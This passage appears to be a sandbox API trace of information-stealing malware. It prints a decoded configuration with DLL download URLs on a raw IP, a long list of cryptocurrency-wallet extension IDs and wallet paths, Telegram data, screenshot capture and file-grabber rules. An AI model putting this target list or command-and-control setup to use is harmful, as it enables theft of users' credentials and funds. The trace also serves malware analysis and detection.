returned="C:\\Windows\\PLA" [0266.749] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.749] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\PolicyDefinitions" | out: psz1="C:\\Windows\\PolicyDefinitions") returned="C:\\Windows\\PolicyDefinitions" [0266.749] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\PolicyDefinitions" | out: psz1="C:\\Windows\\PolicyDefinitions") returned="C:\\Windows\\PolicyDefinitions" [0266.760] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.760] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\Prefetch" | out: psz1="C:\\Windows\\Prefetch") returned="C:\\Windows\\Prefetch" [0266.760] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\Prefetch" | out: psz1="C:\\Windows\\Prefetch") returned="C:\\Windows\\Prefetch" [0266.761] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.761] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\Registration" | out: psz1="C:\\Windows\\Registration") returned="C:\\Windows\\Registration" [0266.761] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\Registration" | out: psz1="C:\\Windows\\Registration") returned="C:\\Windows\\Registration" [0266.762] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.762] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\rescache" | out: psz1="C:\\Windows\\rescache") returned="C:\\Windows\\rescache" [0266.762] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\rescache" | out: psz1="C:\\Windows\\rescache") returned="C:\\Windows\\rescache" [0266.763] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.763] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\Resources" | out: psz1="C:\\Windows\\Resources") returned="C:\\Windows\\Resources" [0266.763] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\Resources" | out: psz1="C:\\Windows\\Resources") returned="C:\\Windows\\Resources" [0266.763] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.763] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\SchCache" | out: psz1="C:\\Windows\\SchCache") returned="C:\\Windows\\SchCache" [0266.763] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\SchCache" | out: psz1="C:\\Windows\\SchCache") returned="C:\\Windows\\SchCache" [0266.764] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.764] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\schemas" | out: psz1="C:\\Windows\\schemas") returned="C:\\Windows\\schemas" [0266.764] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\schemas" | out: psz1="C:\\Windows\\schemas") returned="C:\\Windows\\schemas" [0266.767] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.767] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\security" | out: psz1="C:\\Windows\\security") returned="C:\\Windows\\security" [0266.767] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\security" | out: psz1="C:\\Windows\\security") returned="C:\\Windows\\security" [0266.770] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.770] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\ServiceProfiles" | out: psz1="C:\\Windows\\ServiceProfiles") returned="C:\\Windows\\ServiceProfiles" [0266.770] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\ServiceProfiles" | out: psz1="C:\\Windows\\ServiceProfiles") returned="C:\\Windows\\ServiceProfiles" [0266.771] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.771] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\servicing" | out: psz1="C:\\Windows\\servicing") returned="C:\\Windows\\servicing" [0266.771] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\servicing" | out: psz1="C:\\Windows\\servicing") returned="C:\\Windows\\servicing" [0266.773] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.773] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\Setup" | out: psz1="C:\\Windows\\Setup") returned="C:\\Windows\\Setup" [0266.773] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\Setup" | out: psz1="C:\\Windows\\Setup") returned="C:\\Windows\\Setup" [0266.774] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.774] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\ShellNew" | out: psz1="C:\\Windows\\ShellNew") returned="C:\\Windows\\ShellNew" [0266.774] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\ShellNew" | out: psz1="C:\\Windows\\ShellNew") returned="C:\\Windows\\ShellNew" [0266.775] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.775] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\SoftwareDistribution" | out: psz1="C:\\Windows\\SoftwareDistribution") returned="C:\\Windows\\SoftwareDistribution" [0266.775] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\SoftwareDistribution" | out: psz1="C:\\Windows\\SoftwareDistribution") returned="C:\\Windows\\SoftwareDistribution" [0266.776] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.776] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\Speech" | out: psz1="C:\\Windows\\Speech") returned="C:\\Windows\\Speech" [0266.776] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\Speech" | out: psz1="C:\\Windows\\Speech") returned="C:\\Windows\\Speech" [0266.777] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.777] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\system" | out: psz1="C:\\Windows\\system") returned="C:\\Windows\\system" [0266.777] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\system" | out: psz1="C:\\Windows\\system") returned="C:\\Windows\\system" [0266.777] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.777] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\System32" | out: psz1="C:\\Windows\\System32") returned="C:\\Windows\\System32" [0266.777] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\System32" | out: psz1="C:\\Windows\\System32") returned="C:\\Windows\\System32" [0266.825] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.826] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\SysWOW64" | out: psz1="C:\\Windows\\SysWOW64") returned="C:\\Windows\\SysWOW64" [0266.826] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\SysWOW64" | out: psz1="C:\\Windows\\SysWOW64") returned="C:\\Windows\\SysWOW64" [0266.827] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.827] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\TAPI" | out: psz1="C:\\Windows\\TAPI") returned="C:\\Windows\\TAPI" [0266.828] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\TAPI" | out: psz1="C:\\Windows\\TAPI") returned="C:\\Windows\\TAPI" [0266.829] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.829] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\Tasks" | out: psz1="C:\\Windows\\Tasks") returned="C:\\Windows\\Tasks" [0266.829] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\Tasks" | out: psz1="C:\\Windows\\Tasks") returned="C:\\Windows\\Tasks" [0266.831] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.831] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\Temp" | out: psz1="C:\\Windows\\Temp") returned="C:\\Windows\\Temp" [0266.831] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\Temp" | out: psz1="C:\\Windows\\Temp") returned="C:\\Windows\\Temp" [0266.835] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.835] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\tracing" | out: psz1="C:\\Windows\\tracing") returned="C:\\Windows\\tracing" [0266.835] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\tracing" | out: psz1="C:\\Windows\\tracing") returned="C:\\Windows\\tracing" [0266.843] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.843] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\twain_32" | out: psz1="C:\\Windows\\twain_32") returned="C:\\Windows\\twain_32" [0266.843] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\twain_32" | out: psz1="C:\\Windows\\twain_32") returned="C:\\Windows\\twain_32" [0266.843] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.844] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\Vss" | out: psz1="C:\\Windows\\Vss") returned="C:\\Windows\\Vss" [0266.844] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\Vss" | out: psz1="C:\\Windows\\Vss") returned="C:\\Windows\\Vss" [0266.845] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.845] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\Web" | out: psz1="C:\\Windows\\Web") returned="C:\\Windows\\Web" [0266.845] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\Web" | out: psz1="C:\\Windows\\Web") returned="C:\\Windows\\Web" [0266.846] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.846] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Windows\\winsxs" | out: psz1="C:\\Windows\\winsxs") returned="C:\\Windows\\winsxs" [0266.846] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Windows\\winsxs" | out: psz1="C:\\Windows\\winsxs") returned="C:\\Windows\\winsxs" [0270.877] StrStrW (lpFirst="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="grbr_") returned="grbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0270.877] lstrlenW (lpString="desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 281 [0270.878] LocalAlloc (uFlags=0x40, uBytes=0x232) returned 0x6f9830 [0270.878] StrStrW (lpFirst="desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0270.878] lstrlenW (lpString="desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 281 [0270.878] LocalAlloc (uFlags=0x40, uBytes=0x2b2) returned 0x6f9a70 [0270.878] StrCpyW (in: psz1=0x6f9830, psz2="desktop" | out: psz1="desktop") returned="desktop" [0270.878] LocalFree (hMem=0x6f9a70) returned 0x0 [0270.878] lstrlenW (lpString="%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 273 [0270.878] LocalAlloc (uFlags=0x40, uBytes=0x222) returned 0x6f9a70 [0270.878] StrStrW (lpFirst="%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="|") returned="|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0270.878] lstrlenW (lpString="%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 273 [0270.879] LocalAlloc (uFlags=0x40, uBytes=0x2a2) returned 0x6f9ca0 [0270.879] StrCpyW (in: psz1=0x6f9a70, psz2="%USERPROFILE%\\Desktop\\" | out: psz1="%USERPROFILE%\\Desktop\\") returned="%USERPROFILE%\\Desktop\\" [0270.879] LocalFree (hMem=0x6f9ca0) returned 0x0 [0270.879] lstrlenW (lpString="*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 250 [0270.879] LocalAlloc (uFlags=0x40, uBytes=0x1f4) returned 0x6bf278 [0270.879] StrStrW (lpFirst="*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="|") returned="|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0270.879] lstrlenW (lpString="*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 250 [0270.879] LocalAlloc (uFlags=0x40, uBytes=0x274) returned 0x6f9ca0 [0270.879] StrCpyW (in: psz1=0x6bf278, psz2="*.txt,*.jpg" | out: psz1="*.txt,*.jpg") returned="*.txt,*.jpg" [0270.879] LocalFree (hMem=0x6f9ca0) returned 0x0 [0270.880] lstrlenW (lpString="*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 238 [0270.880] LocalAlloc (uFlags=0x40, uBytes=0x1dc) returned 0x6f9ca0 [0270.880] StrStrW (lpFirst="*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="|") returned="|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0270.880] lstrlenW (lpString="*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 238 [0270.880] LocalAlloc (uFlags=0x40, uBytes=0x25c) returned 0x6f9e88 [0270.880] StrCpyW (in: psz1=0x6f9ca0, psz2="*windows*,*recycle*" | out: psz1="*windows*,*recycle*") returned="*windows*,*recycle*" [0270.880] LocalFree (hMem=0x6f9e88) returned 0x0 [0270.880] lstrlenW (lpString="6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 218 [0270.880] LocalAlloc (uFlags=0x40, uBytes=0x1b4) returned 0x6f9e88 [0270.880] StrStrW (lpFirst="6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="|") returned="|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0270.880] lstrlenW (lpString="6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 218 [0270.880] LocalAlloc (uFlags=0x40, uBytes=0x234) returned 0x6fa048 [0270.880] StrCpyW (in: psz1=0x6f9e88, psz2="6" | out: psz1="6") returned="6" [0270.881] LocalFree (hMem=0x6fa048) returned 0x0 [0270.881] lstrlenW 